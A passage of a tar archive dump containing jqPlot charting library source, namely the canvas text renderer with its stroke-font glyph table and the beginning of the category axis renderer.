{ return w/400; } else { switch (w) { case 'normal': return 1; break; case 'bold': return 1.75; break; case 'bolder': return 2.25; break; case 'lighter': return 0.75; break; default: return 1; break; } } }; $.jqplot.CanvasTextRenderer.prototype.getText = function() { return this.text; }; $.jqplot.CanvasTextRenderer.prototype.setText = function(t, ctx) { this.text = t; this.setWidth(ctx); return this; }; $.jqplot.CanvasTextRenderer.prototype.getWidth = function(ctx) { return this.width; }; $.jqplot.CanvasTextRenderer.prototype.setWidth = function(ctx, w) { if (!w) { this.width = this.measure(ctx, this.text); } else { this.width = w; } return this; }; // return height in pixels. $.jqplot.CanvasTextRenderer.prototype.getHeight = function(ctx) { return this.height; }; // w - height in pt // set heigh in px $.jqplot.CanvasTextRenderer.prototype.setHeight = function(w) { if (!w) { //height = this.fontSize /0.75; this.height = this.normalizedFontSize * this.pt2px; } else { this.height = w; } return this; }; $.jqplot.CanvasTextRenderer.prototype.letter = function (ch) { return this.letters[ch]; }; $.jqplot.CanvasTextRenderer.prototype.ascent = function() { return this.normalizedFontSize; }; $.jqplot.CanvasTextRenderer.prototype.descent = function() { return 7.0*this.normalizedFontSize/25.0; }; $.jqplot.CanvasTextRenderer.prototype.measure = function(ctx, str) { var total = 0; var len = str.length; for (var i = 0; i < len; i++) { var c = this.letter(str.charAt(i)); if (c) { total += c.width * this.normalizedFontSize / 25.0 * this.fontStretch; } } return total; }; $.jqplot.CanvasTextRenderer.prototype.draw = function(ctx,str) { var x = 0; // leave room at bottom for descenders. var y = this.height*0.72; var total = 0; var len = str.length; var mag = this.normalizedFontSize / 25.0; ctx.save(); var tx, ty; // 1st quadrant if ((-Math.PI/2 <= this.angle && this.angle <= 0) || (Math.PI*3/2 <= this.angle && this.angle <= Math.PI*2)) { tx = 0; ty = -Math.sin(this.angle) * this.width; } // 4th quadrant else if ((0 < this.angle && this.angle <= Math.PI/2) || (-Math.PI*2 <= this.angle && this.angle <= -Math.PI*3/2)) { tx = Math.sin(this.angle) * this.height; ty = 0; } // 2nd quadrant else if ((-Math.PI < this.angle && this.angle < -Math.PI/2) || (Math.PI <= this.angle && this.angle <= Math.PI*3/2)) { tx = -Math.cos(this.angle) * this.width; ty = -Math.sin(this.angle) * this.width - Math.cos(this.angle) * this.height; } // 3rd quadrant else if ((-Math.PI*3/2 < this.angle && this.angle < Math.PI) || (Math.PI/2 < this.angle && this.angle < Math.PI)) { tx = Math.sin(this.angle) * this.height - Math.cos(this.angle)*this.width; ty = -Math.cos(this.angle) * this.height; } ctx.strokeStyle = this.fillStyle; ctx.fillStyle = this.fillStyle; ctx.translate(tx, ty); ctx.rotate(this.angle); ctx.lineCap = "round"; // multiplier was 2.0 var fact = (this.normalizedFontSize > 30) ? 2.0 : 2 + (30 - this.normalizedFontSize)/20; ctx.lineWidth = fact * mag * this.fontWeight2Float(this.fontWeight); for ( var i = 0; i < len; i++) { var c = this.letter( str.charAt(i)); if ( !c) { continue; } ctx.beginPath(); var penUp = 1; var needStroke = 0; for ( var j = 0; j < c.points.length; j++) { var a = c.points[j]; if ( a[0] == -1 && a[1] == -1) { penUp = 1; continue; } if ( penUp) { ctx.moveTo( x + a[0]*mag*this.fontStretch, y - a[1]*mag); penUp = false; } else { ctx.lineTo( x + a[0]*mag*this.fontStretch, y - a[1]*mag); } } ctx.stroke(); x += c.width*mag*this.fontStretch; } ctx.restore(); return total; }; $.jqplot.CanvasTextRenderer.prototype.letters = { ' ': { width: 16, points: [] }, '!': { width: 10, points: [[5,21],[5,7],[-1,-1],[5,2],[4,1],[5,0],[6,1],[5,2]] }, '"': { width: 16, points: [[4,21],[4,14],[-1,-1],[12,21],[12,14]] }, '#': { width: 21, points: [[11,25],[4,-7],[-1,-1],[17,25],[10,-7],[-1,-1],[4,12],[18,12],[-1,-1],[3,6],[17,6]] }, '$': { width: 20, points: [[8,25],[8,-4],[-1,-1],[12,25],[12,-4],[-1,-1],[17,18],[15,20],[12,21],[8,21],[5,20],[3,18],[3,16],[4,14],[5,13],[7,12],[13,10],[15,9],[16,8],[17,6],[17,3],[15,1],[12,0],[8,0],[5,1],[3,3]] }, '%': { width: 24, points: [[21,21],[3,0],[-1,-1],[8,21],[10,19],[10,17],[9,15],[7,14],[5,14],[3,16],[3,18],[4,20],[6,21],[8,21],[10,20],[13,19],[16,19],[19,20],[21,21],[-1,-1],[17,7],[15,6],[14,4],[14,2],[16,0],[18,0],[20,1],[21,3],[21,5],[19,7],[17,7]] }, '&': { width: 26, points: [[23,12],[23,13],[22,14],[21,14],[20,13],[19,11],[17,6],[15,3],[13,1],[11,0],[7,0],[5,1],[4,2],[3,4],[3,6],[4,8],[5,9],[12,13],[13,14],[14,16],[14,18],[13,20],[11,21],[9,20],[8,18],[8,16],[9,13],[11,10],[16,3],[18,1],[20,0],[22,0],[23,1],[23,2]] }, '\'': { width: 10, points: [[5,19],[4,20],[5,21],[6,20],[6,18],[5,16],[4,15]] }, '(': { width: 14, points: [[11,25],[9,23],[7,20],[5,16],[4,11],[4,7],[5,2],[7,-2],[9,-5],[11,-7]] }, ')': { width: 14, points: [[3,25],[5,23],[7,20],[9,16],[10,11],[10,7],[9,2],[7,-2],[5,-5],[3,-7]] }, '*': { width: 16, points: [[8,21],[8,9],[-1,-1],[3,18],[13,12],[-1,-1],[13,18],[3,12]] }, '+': { width: 26, points: [[13,18],[13,0],[-1,-1],[4,9],[22,9]] }, ',': { width: 10, points: [[6,1],[5,0],[4,1],[5,2],[6,1],[6,-1],[5,-3],[4,-4]] }, '-': { width: 18, points: [[6,9],[12,9]] }, '.': { width: 10, points: [[5,2],[4,1],[5,0],[6,1],[5,2]] }, '/': { width: 22, points: [[20,25],[2,-7]] }, '0': { width: 20, points: [[9,21],[6,20],[4,17],[3,12],[3,9],[4,4],[6,1],[9,0],[11,0],[14,1],[16,4],[17,9],[17,12],[16,17],[14,20],[11,21],[9,21]] }, '1': { width: 20, points: [[6,17],[8,18],[11,21],[11,0]] }, '2': { width: 20, points: [[4,16],[4,17],[5,19],[6,20],[8,21],[12,21],[14,20],[15,19],[16,17],[16,15],[15,13],[13,10],[3,0],[17,0]] }, '3': { width: 20, points: [[5,21],[16,21],[10,13],[13,13],[15,12],[16,11],[17,8],[17,6],[16,3],[14,1],[11,0],[8,0],[5,1],[4,2],[3,4]] }, '4': { width: 20, points: [[13,21],[3,7],[18,7],[-1,-1],[13,21],[13,0]] }, '5': { width: 20, points: [[15,21],[5,21],[4,12],[5,13],[8,14],[11,14],[14,13],[16,11],[17,8],[17,6],[16,3],[14,1],[11,0],[8,0],[5,1],[4,2],[3,4]] }, '6': { width: 20, points: [[16,18],[15,20],[12,21],[10,21],[7,20],[5,17],[4,12],[4,7],[5,3],[7,1],[10,0],[11,0],[14,1],[16,3],[17,6],[17,7],[16,10],[14,12],[11,13],[10,13],[7,12],[5,10],[4,7]] }, '7': { width: 20, points: [[17,21],[7,0],[-1,-1],[3,21],[17,21]] }, '8': { width: 20, points: [[8,21],[5,20],[4,18],[4,16],[5,14],[7,13],[11,12],[14,11],[16,9],[17,7],[17,4],[16,2],[15,1],[12,0],[8,0],[5,1],[4,2],[3,4],[3,7],[4,9],[6,11],[9,12],[13,13],[15,14],[16,16],[16,18],[15,20],[12,21],[8,21]] }, '9': { width: 20, points: [[16,14],[15,11],[13,9],[10,8],[9,8],[6,9],[4,11],[3,14],[3,15],[4,18],[6,20],[9,21],[10,21],[13,20],[15,18],[16,14],[16,9],[15,4],[13,1],[10,0],[8,0],[5,1],[4,3]] }, ':': { width: 10, points: [[5,14],[4,13],[5,12],[6,13],[5,14],[-1,-1],[5,2],[4,1],[5,0],[6,1],[5,2]] }, ';': { width: 10, points: [[5,14],[4,13],[5,12],[6,13],[5,14],[-1,-1],[6,1],[5,0],[4,1],[5,2],[6,1],[6,-1],[5,-3],[4,-4]] }, '<': { width: 24, points: [[20,18],[4,9],[20,0]] }, '=': { width: 26, points: [[4,12],[22,12],[-1,-1],[4,6],[22,6]] }, '>': { width: 24, points: [[4,18],[20,9],[4,0]] }, '?': { width: 18, points: [[3,16],[3,17],[4,19],[5,20],[7,21],[11,21],[13,20],[14,19],[15,17],[15,15],[14,13],[13,12],[9,10],[9,7],[-1,-1],[9,2],[8,1],[9,0],[10,1],[9,2]] }, '@': { width: 27, points: [[18,13],[17,15],[15,16],[12,16],[10,15],[9,14],[8,11],[8,8],[9,6],[11,5],[14,5],[16,6],[17,8],[-1,-1],[12,16],[10,14],[9,11],[9,8],[10,6],[11,5],[-1,-1],[18,16],[17,8],[17,6],[19,5],[21,5],[23,7],[24,10],[24,12],[23,15],[22,17],[20,19],[18,20],[15,21],[12,21],[9,20],[7,19],[5,17],[4,15],[3,12],[3,9],[4,6],[5,4],[7,2],[9,1],[12,0],[15,0],[18,1],[20,2],[21,3],[-1,-1],[19,16],[18,8],[18,6],[19,5]] }, 'A': { width: 18, points: [[9,21],[1,0],[-1,-1],[9,21],[17,0],[-1,-1],[4,7],[14,7]] }, 'B': { width: 21, points: [[4,21],[4,0],[-1,-1],[4,21],[13,21],[16,20],[17,19],[18,17],[18,15],[17,13],[16,12],[13,11],[-1,-1],[4,11],[13,11],[16,10],[17,9],[18,7],[18,4],[17,2],[16,1],[13,0],[4,0]] }, 'C': { width: 21, points: [[18,16],[17,18],[15,20],[13,21],[9,21],[7,20],[5,18],[4,16],[3,13],[3,8],[4,5],[5,3],[7,1],[9,0],[13,0],[15,1],[17,3],[18,5]] }, 'D': { width: 21, points: [[4,21],[4,0],[-1,-1],[4,21],[11,21],[14,20],[16,18],[17,16],[18,13],[18,8],[17,5],[16,3],[14,1],[11,0],[4,0]] }, 'E': { width: 19, points: [[4,21],[4,0],[-1,-1],[4,21],[17,21],[-1,-1],[4,11],[12,11],[-1,-1],[4,0],[17,0]] }, 'F': { width: 18, points: [[4,21],[4,0],[-1,-1],[4,21],[17,21],[-1,-1],[4,11],[12,11]] }, 'G': { width: 21, points: [[18,16],[17,18],[15,20],[13,21],[9,21],[7,20],[5,18],[4,16],[3,13],[3,8],[4,5],[5,3],[7,1],[9,0],[13,0],[15,1],[17,3],[18,5],[18,8],[-1,-1],[13,8],[18,8]] }, 'H': { width: 22, points: [[4,21],[4,0],[-1,-1],[18,21],[18,0],[-1,-1],[4,11],[18,11]] }, 'I': { width: 8, points: [[4,21],[4,0]] }, 'J': { width: 16, points: [[12,21],[12,5],[11,2],[10,1],[8,0],[6,0],[4,1],[3,2],[2,5],[2,7]] }, 'K': { width: 21, points: [[4,21],[4,0],[-1,-1],[18,21],[4,7],[-1,-1],[9,12],[18,0]] }, 'L': { width: 17, points: [[4,21],[4,0],[-1,-1],[4,0],[16,0]] }, 'M': { width: 24, points: [[4,21],[4,0],[-1,-1],[4,21],[12,0],[-1,-1],[20,21],[12,0],[-1,-1],[20,21],[20,0]] }, 'N': { width: 22, points: [[4,21],[4,0],[-1,-1],[4,21],[18,0],[-1,-1],[18,21],[18,0]] }, 'O': { width: 22, points: [[9,21],[7,20],[5,18],[4,16],[3,13],[3,8],[4,5],[5,3],[7,1],[9,0],[13,0],[15,1],[17,3],[18,5],[19,8],[19,13],[18,16],[17,18],[15,20],[13,21],[9,21]] }, 'P': { width: 21, points: [[4,21],[4,0],[-1,-1],[4,21],[13,21],[16,20],[17,19],[18,17],[18,14],[17,12],[16,11],[13,10],[4,10]] }, 'Q': { width: 22, points: [[9,21],[7,20],[5,18],[4,16],[3,13],[3,8],[4,5],[5,3],[7,1],[9,0],[13,0],[15,1],[17,3],[18,5],[19,8],[19,13],[18,16],[17,18],[15,20],[13,21],[9,21],[-1,-1],[12,4],[18,-2]] }, 'R': { width: 21, points: [[4,21],[4,0],[-1,-1],[4,21],[13,21],[16,20],[17,19],[18,17],[18,15],[17,13],[16,12],[13,11],[4,11],[-1,-1],[11,11],[18,0]] }, 'S': { width: 20, points: [[17,18],[15,20],[12,21],[8,21],[5,20],[3,18],[3,16],[4,14],[5,13],[7,12],[13,10],[15,9],[16,8],[17,6],[17,3],[15,1],[12,0],[8,0],[5,1],[3,3]] }, 'T': { width: 16, points: [[8,21],[8,0],[-1,-1],[1,21],[15,21]] }, 'U': { width: 22, points: [[4,21],[4,6],[5,3],[7,1],[10,0],[12,0],[15,1],[17,3],[18,6],[18,21]] }, 'V': { width: 18, points: [[1,21],[9,0],[-1,-1],[17,21],[9,0]] }, 'W': { width: 24, points: [[2,21],[7,0],[-1,-1],[12,21],[7,0],[-1,-1],[12,21],[17,0],[-1,-1],[22,21],[17,0]] }, 'X': { width: 20, points: [[3,21],[17,0],[-1,-1],[17,21],[3,0]] }, 'Y': { width: 18, points: [[1,21],[9,11],[9,0],[-1,-1],[17,21],[9,11]] }, 'Z': { width: 20, points: [[17,21],[3,0],[-1,-1],[3,21],[17,21],[-1,-1],[3,0],[17,0]] }, '[': { width: 14, points: [[4,25],[4,-7],[-1,-1],[5,25],[5,-7],[-1,-1],[4,25],[11,25],[-1,-1],[4,-7],[11,-7]] }, '\\': { width: 14, points: [[0,21],[14,-3]] }, ']': { width: 14, points: [[9,25],[9,-7],[-1,-1],[10,25],[10,-7],[-1,-1],[3,25],[10,25],[-1,-1],[3,-7],[10,-7]] }, '^': { width: 16, points: [[6,15],[8,18],[10,15],[-1,-1],[3,12],[8,17],[13,12],[-1,-1],[8,17],[8,0]] }, '_': { width: 16, points: [[0,-2],[16,-2]] }, '`': { width: 10, points: [[6,21],[5,20],[4,18],[4,16],[5,15],[6,16],[5,17]] }, 'a': { width: 19, points: [[15,14],[15,0],[-1,-1],[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'b': { width: 19, points: [[4,21],[4,0],[-1,-1],[4,11],[6,13],[8,14],[11,14],[13,13],[15,11],[16,8],[16,6],[15,3],[13,1],[11,0],[8,0],[6,1],[4,3]] }, 'c': { width: 18, points: [[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'd': { width: 19, points: [[15,21],[15,0],[-1,-1],[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'e': { width: 18, points: [[3,8],[15,8],[15,10],[14,12],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'f': { width: 12, points: [[10,21],[8,21],[6,20],[5,17],[5,0],[-1,-1],[2,14],[9,14]] }, 'g': { width: 19, points: [[15,14],[15,-2],[14,-5],[13,-6],[11,-7],[8,-7],[6,-6],[-1,-1],[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'h': { width: 19, points: [[4,21],[4,0],[-1,-1],[4,10],[7,13],[9,14],[12,14],[14,13],[15,10],[15,0]] }, 'i': { width: 8, points: [[3,21],[4,20],[5,21],[4,22],[3,21],[-1,-1],[4,14],[4,0]] }, 'j': { width: 10, points: [[5,21],[6,20],[7,21],[6,22],[5,21],[-1,-1],[6,14],[6,-3],[5,-6],[3,-7],[1,-7]] }, 'k': { width: 17, points: [[4,21],[4,0],[-1,-1],[14,14],[4,4],[-1,-1],[8,8],[15,0]] }, 'l': { width: 8, points: [[4,21],[4,0]] }, 'm': { width: 30, points: [[4,14],[4,0],[-1,-1],[4,10],[7,13],[9,14],[12,14],[14,13],[15,10],[15,0],[-1,-1],[15,10],[18,13],[20,14],[23,14],[25,13],[26,10],[26,0]] }, 'n': { width: 19, points: [[4,14],[4,0],[-1,-1],[4,10],[7,13],[9,14],[12,14],[14,13],[15,10],[15,0]] }, 'o': { width: 19, points: [[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3],[16,6],[16,8],[15,11],[13,13],[11,14],[8,14]] }, 'p': { width: 19, points: [[4,14],[4,-7],[-1,-1],[4,11],[6,13],[8,14],[11,14],[13,13],[15,11],[16,8],[16,6],[15,3],[13,1],[11,0],[8,0],[6,1],[4,3]] }, 'q': { width: 19, points: [[15,14],[15,-7],[-1,-1],[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'r': { width: 13, points: [[4,14],[4,0],[-1,-1],[4,8],[5,11],[7,13],[9,14],[12,14]] }, 's': { width: 17, points: [[14,11],[13,13],[10,14],[7,14],[4,13],[3,11],[4,9],[6,8],[11,7],[13,6],[14,4],[14,3],[13,1],[10,0],[7,0],[4,1],[3,3]] }, 't': { width: 12, points: [[5,21],[5,4],[6,1],[8,0],[10,0],[-1,-1],[2,14],[9,14]] }, 'u': { width: 19, points: [[4,14],[4,4],[5,1],[7,0],[10,0],[12,1],[15,4],[-1,-1],[15,14],[15,0]] }, 'v': { width: 16, points: [[2,14],[8,0],[-1,-1],[14,14],[8,0]] }, 'w': { width: 22, points: [[3,14],[7,0],[-1,-1],[11,14],[7,0],[-1,-1],[11,14],[15,0],[-1,-1],[19,14],[15,0]] }, 'x': { width: 17, points: [[3,14],[14,0],[-1,-1],[14,14],[3,0]] }, 'y': { width: 16, points: [[2,14],[8,0],[-1,-1],[14,14],[8,0],[6,-4],[4,-6],[2,-7],[1,-7]] }, 'z': { width: 17, points: [[14,14],[3,0],[-1,-1],[3,14],[14,14],[-1,-1],[3,0],[14,0]] }, '{': { width: 14, points: [[9,25],[7,24],[6,23],[5,21],[5,19],[6,17],[7,16],[8,14],[8,12],[6,10],[-1,-1],[7,24],[6,22],[6,20],[7,18],[8,17],[9,15],[9,13],[8,11],[4,9],[8,7],[9,5],[9,3],[8,1],[7,0],[6,-2],[6,-4],[7,-6],[-1,-1],[6,8],[8,6],[8,4],[7,2],[6,1],[5,-1],[5,-3],[6,-5],[7,-6],[9,-7]] }, '|': { width: 8, points: [[4,25],[4,-7]] }, '}': { width: 14, points: [[5,25],[7,24],[8,23],[9,21],[9,19],[8,17],[7,16],[6,14],[6,12],[8,10],[-1,-1],[7,24],[8,22],[8,20],[7,18],[6,17],[5,15],[5,13],[6,11],[10,9],[6,7],[5,5],[5,3],[6,1],[7,0],[8,-2],[8,-4],[7,-6],[-1,-1],[8,8],[6,6],[6,4],[7,2],[8,1],[9,-1],[9,-3],[8,-5],[7,-6],[5,-7]] }, '~': { width: 24, points: [[3,6],[3,8],[4,11],[6,12],[8,12],[10,11],[14,8],[16,7],[18,7],[20,8],[21,10],[-1,-1],[3,8],[4,10],[6,11],[8,11],[10,10],[14,7],[16,6],[18,6],[20,7],[21,10],[21,12]] } }; $.jqplot.CanvasFontRenderer = function(options) { options = options || {}; if (!options.pt2px) { options.pt2px = 1.5; } $.jqplot.CanvasTextRenderer.call(this, options); }; $.jqplot.CanvasFontRenderer.prototype = new $.jqplot.CanvasTextRenderer({}); $.jqplot.CanvasFontRenderer.prototype.constructor = $.jqplot.CanvasFontRenderer; $.jqplot.CanvasFontRenderer.prototype.measure = function(ctx, str) { // var fstyle = this.fontStyle+' '+this.fontVariant+' '+this.fontWeight+' '+this.fontSize+' '+this.fontFamily; var fstyle = this.fontSize+' '+this.fontFamily; ctx.save(); ctx.font = fstyle; var w = ctx.measureText(str).width; ctx.restore(); return w; }; $.jqplot.CanvasFontRenderer.prototype.draw = function(ctx, str) { var x = 0; // leave room at bottom for descenders. var y = this.height*0.72; //var y = 12; ctx.save(); var tx, ty; // 1st quadrant if ((-Math.PI/2 <= this.angle && this.angle <= 0) || (Math.PI*3/2 <= this.angle && this.angle <= Math.PI*2)) { tx = 0; ty = -Math.sin(this.angle) * this.width; } // 4th quadrant else if ((0 < this.angle && this.angle <= Math.PI/2) || (-Math.PI*2 <= this.angle && this.angle <= -Math.PI*3/2)) { tx = Math.sin(this.angle) * this.height; ty = 0; } // 2nd quadrant else if ((-Math.PI < this.angle && this.angle < -Math.PI/2) || (Math.PI <= this.angle && this.angle <= Math.PI*3/2)) { tx = -Math.cos(this.angle) * this.width; ty = -Math.sin(this.angle) * this.width - Math.cos(this.angle) * this.height; } // 3rd quadrant else if ((-Math.PI*3/2 < this.angle && this.angle < Math.PI) || (Math.PI/2 < this.angle && this.angle < Math.PI)) { tx = Math.sin(this.angle) * this.height - Math.cos(this.angle)*this.width; ty = -Math.cos(this.angle) * this.height; } ctx.strokeStyle = this.fillStyle; ctx.fillStyle = this.fillStyle; // var fstyle = this.fontStyle+' '+this.fontVariant+' '+this.fontWeight+' '+this.fontSize+' '+this.fontFamily; var fstyle = this.fontSize+' '+this.fontFamily; ctx.font = fstyle; ctx.translate(tx, ty); ctx.rotate(this.angle); ctx.fillText(str, x, y); // ctx.strokeText(str, x, y); ctx.restore(); }; })(jQuery);�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jqplot/plugins/jqplot.categoryAxisRenderer.js������������������������������������������������0000666�����������������00000067626�15172447206�0017067 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * class: $.jqplot.CategoryAxisRenderer * A plugin for jqPlot to render a category style axis, with equal pixel spacing between y data values of a series. * * To use this renderer, include the plugin in your source * > <script type="text/javascript" language="javascript" src="plugins/jqplot.categoryAxisRenderer.js"></script> * * and supply the appropriate options to your plot * * > {axes:{xaxis:{renderer:$.jqplot.CategoryAxisRenderer}}} **/ $.jqplot.CategoryAxisRenderer = function(options) { $.jqplot.LinearAxisRenderer.call(this); // prop: sortMergedLabels // True to sort tick labels when labels are created by merging // x axis values from multiple series. That is, say you have // two series like: // > line1 = [[2006, 4], [2008, 9], [2009, 16]]; // > line2 = [[2006, 3], [2007, 7], [2008, 6]]; // If no label array is specified, tick labels will be collected // from the x values of the series. With sortMergedLabels // set to true, tick labels will be: // > [2006, 2007, 2008, 2009] // With sortMergedLabels set to false, tick labels will be: // > [2006, 2008, 2009, 2007] // // Note, this property is specified on the renderOptions for the // axes when creating a plot: // > axes:{xaxis:{renderer:$.jqplot.CategoryAxisRenderer, rendererOptions:{sortMergedLabels:true}}} this.sortMergedLabels = false; }; $.jqplot.CategoryAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.CategoryAxisRenderer.prototype.constructor = $.jqplot.CategoryAxisRenderer; $.jqplot.CategoryAxisRenderer.prototype.init = function(options){ this.groups = 1; this.groupLabels = []; this._groupLabels = []; this._grouped = false; this._barsPerGroup = null; this.reverse = false; // prop: tickRenderer // A class of a rendering engine for creating the ticks labels displayed on the plot, // See <$.jqplot.AxisTickRenderer>. // this.tickRenderer = $.jqplot.AxisTickRenderer; // this.labelRenderer = $.jqplot.AxisLabelRenderer; $.extend(true, this, {tickOptions:{formatString:'%d'}}, options); var db = this._dataBounds; // Go through all the series attached to this axis and find // the min/max bounds for this axis. for (var i=0; i<this._series.length; i++) { var s = this._series[i]; if (s.groups) { this.groups = s.groups; } var d = s.data; for (var j=0; j<d.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { if (d[j][0] < db.min || db.min == null) { db.min = d[j][0]; } if (d[j][0] > db.max || db.max == null) { db.max = d[j][0]; } } else { if (d[j][1] < db.min || db.min == null) { db.min = d[j][1]; } if (d[j][1] > db.max || db.max == null) { db.max = d[j][1]; } } } } if (this.groupLabels.length) { this.groups = this.groupLabels.length; } }; $.jqplot.CategoryAxisRenderer.prototype.createTicks = function() { // we're are operating on an axis here var ticks = this._ticks; var userTicks = this.ticks; var name = this.name; // databounds were set on axis initialization. var db = this._dataBounds; var dim, interval; var min, max; var pos1, pos2; var tt, i; // if we already have ticks, use them. if (userTicks.length) { // adjust with blanks if we have groups if (this.groups > 1 && !this._grouped) { var l = userTicks.length; var skip = parseInt(l/this.groups, 10); var count = 0; for (var i=skip; i<l; i+=skip) { userTicks.splice(i+count, 0, ' '); count++; } this._grouped = true; } this.min = 0.5; this.max = userTicks.length + 0.5; var range = this.max - this.min; this.numberTicks = 2*userTicks.length + 1; for (i=0; i<userTicks.length; i++){ tt = this.min + 2 * i * range / (this.numberTicks-1); // need a marker before and after the tick var t = new this.tickRenderer(this.tickOptions); t.showLabel = false; // t.showMark = true; t.setTick(tt, this.name); this._ticks.push(t); var t = new this.tickRenderer(this.tickOptions); t.label = userTicks[i]; // t.showLabel = true; t.showMark = false; t.showGridline = false; t.setTick(tt+0.5, this.name); this._ticks.push(t); } // now add the last tick at the end var t = new this.tickRenderer(this.tickOptions); t.showLabel = false; // t.showMark = true; t.setTick(tt+1, this.name); this._ticks.push(t); } // we don't have any ticks yet, let's make some! else { if (name == 'xaxis' || name == 'x2axis') { dim = this._plotDimensions.width; } else { dim = this._plotDimensions.height; } // if min, max and number of ticks specified, user can't specify interval. if (this.min != null && this.max != null && this.numberTicks != null) { this.tickInterval = null; } // if max, min, and interval specified and interval won't fit, ignore interval. if (this.min != null && this.max != null && this.tickInterval != null) { if (parseInt((this.max-this.min)/this.tickInterval, 10) != (this.max-this.min)/this.tickInterval) { this.tickInterval = null; } } // find out how many categories are in the lines and collect labels var labels = []; var numcats = 0; var min = 0.5; var max, val; var isMerged = false; for (var i=0; i<this._series.length; i++) { var s = this._series[i]; for (var j=0; j<s.data.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { val = s.data[j][0]; } else { val = s.data[j][1]; } if ($.inArray(val, labels) == -1) { isMerged = true; numcats += 1; labels.push(val); } } } if (isMerged && this.sortMergedLabels) { if (typeof labels[0] == "string") { labels.sort(); } else { labels.sort(function(a,b) { return a - b; }); } } // keep a reference to these tick labels to use for redrawing plot (see bug #57) this.ticks = labels; // now bin the data values to the right lables. for (var i=0; i<this._series.length; i++) { var s = this._series[i]; for (var j=0; j<s.data.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { val = s.data[j][0]; } else { val = s.data[j][1]; } // for category axis, force the values into category bins. // we should have the value in the label array now. var idx = $.inArray(val, labels)+1; if (this.name == 'xaxis' || this.name == 'x2axis') { s.data[j][0] = idx; } else { s.data[j][1] = idx; } } } // adjust with blanks if we have groups if (this.groups > 1 && !this._grouped) { var l = labels.length; var skip = parseInt(l/this.groups, 10); var count = 0; for (var i=skip; i<l; i+=skip+1) { labels[i] = ' '; } this._grouped = true; } max = numcats + 0.5; if (this.numberTicks == null) { this.numberTicks = 2*numcats + 1; } var range = max - min; this.min = min; this.max = max; var track = 0; // todo: adjust this so more ticks displayed. var maxVisibleTicks = parseInt(3+dim/10, 10); var skip = parseInt(numcats/maxVisibleTicks, 10); if (this.tickInterval == null) { this.tickInterval = range / (this.numberTicks-1); } // if tickInterval is specified, we will ignore any computed maximum. for (var i=0; i<this.numberTicks; i++){ tt = this.min + i * this.tickInterval; var t = new this.tickRenderer(this.tickOptions); // if even tick, it isn't a category, it's a divider if (i/2 == parseInt(i/2, 10)) { t.showLabel = false; t.showMark = true; } else { if (skip>0 && track<skip) { t.showLabel = false; track += 1; } else { t.showLabel = true; track = 0; } t.label = t.formatter(t.formatString, labels[(i-1)/2]); t.showMark = false; t.showGridline = false; } t.setTick(tt, this.name); this._ticks.push(t); } } }; // called with scope of axis $.jqplot.CategoryAxisRenderer.prototype.draw = function(ctx, plot) { if (this.show) { // populate the axis label and value properties. // createTicks is a method on the renderer, but // call it within the scope of the axis. this.renderer.createTicks.call(this); // fill a div with axes labels in the right direction. // Need to pregenerate each axis to get its bounds and // position it and the labels correctly on the plot. var dim=0; var temp; // Added for theming. if (this._elem) { // this._elem.empty(); // Memory Leaks patch this._elem.emptyForce(); } this._elem = this._elem || $('<div class="jqplot-axis jqplot-'+this.name+'" style="position:absolute;"></div>'); if (this.name == 'xaxis' || this.name == 'x2axis') { this._elem.width(this._plotDimensions.width); } else { this._elem.height(this._plotDimensions.height); } // create a _label object. this.labelOptions.axis = this.name; this._label = new this.labelRenderer(this.labelOptions); if (this._label.show) { var elem = this._label.draw(ctx, plot); elem.appendTo(this._elem); } var t = this._ticks; for (var i=0; i<t.length; i++) { var tick = t[i]; if (tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { var elem = tick.draw(ctx, plot); elem.appendTo(this._elem); } } this._groupLabels = []; // now make group labels for (var i=0; i<this.groupLabels.length; i++) { var elem = $('<div style="position:absolute;" class="jqplot-'+this.name+'-groupLabel"></div>'); elem.html(this.groupLabels[i]); this._groupLabels.push(elem); elem.appendTo(this._elem); } } return this._elem; }; // called with scope of axis $.jqplot.CategoryAxisRenderer.prototype.set = function() { var dim = 0; var temp; var w = 0; var h = 0; var lshow = (this._label == null) ? false : this._label.show; if (this.show) { var t = this._ticks; for (var i=0; i<t.length; i++) { var tick = t[i]; if (tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { if (this.name == 'xaxis' || this.name == 'x2axis') { temp = 